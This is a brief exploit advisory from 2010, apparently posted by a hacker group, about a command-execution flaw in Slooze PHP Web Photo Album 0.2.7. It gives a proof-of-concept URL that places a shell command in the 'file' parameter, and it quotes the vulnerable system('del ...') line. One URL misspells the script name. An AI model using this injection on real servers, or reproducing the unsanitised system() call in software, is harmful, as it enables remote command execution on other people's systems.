Slooze PHP Web Photo Album v0.2.7 Command Execution Vulnerability

(slooze.php) Command Execution Vulnerability #[+] Author : Sn!pEr.S!Te hacker # # [+] Email : sniper-site@HoTMaiL.coM # # [+] T34M Sn!pEr.S!Te Hacker # #[+] Site : www.v4-team.com/cc and www.sa-hacker.com # [+] 5-5-2010 # # [+] Script : slooze-0.2.7 # # [+] Download: http://sourceforge.net/projects/slooze/files/slooze/0.2.7/slooze-0.2.7.zip/download # # Version: [0.2.7] # 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1# Exploit :src/slooze.php http://localhost/src/slooze.php?file= [your command] http://127.0.0.1/src/slooz.php?file=[your command] 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1# system('del "' . $this->cachePath . $file . '"'); /* Windows platforms */ line :1003 my friend : liar -ysefe - Dj - sm hacker-baby hacker-dmar Hacker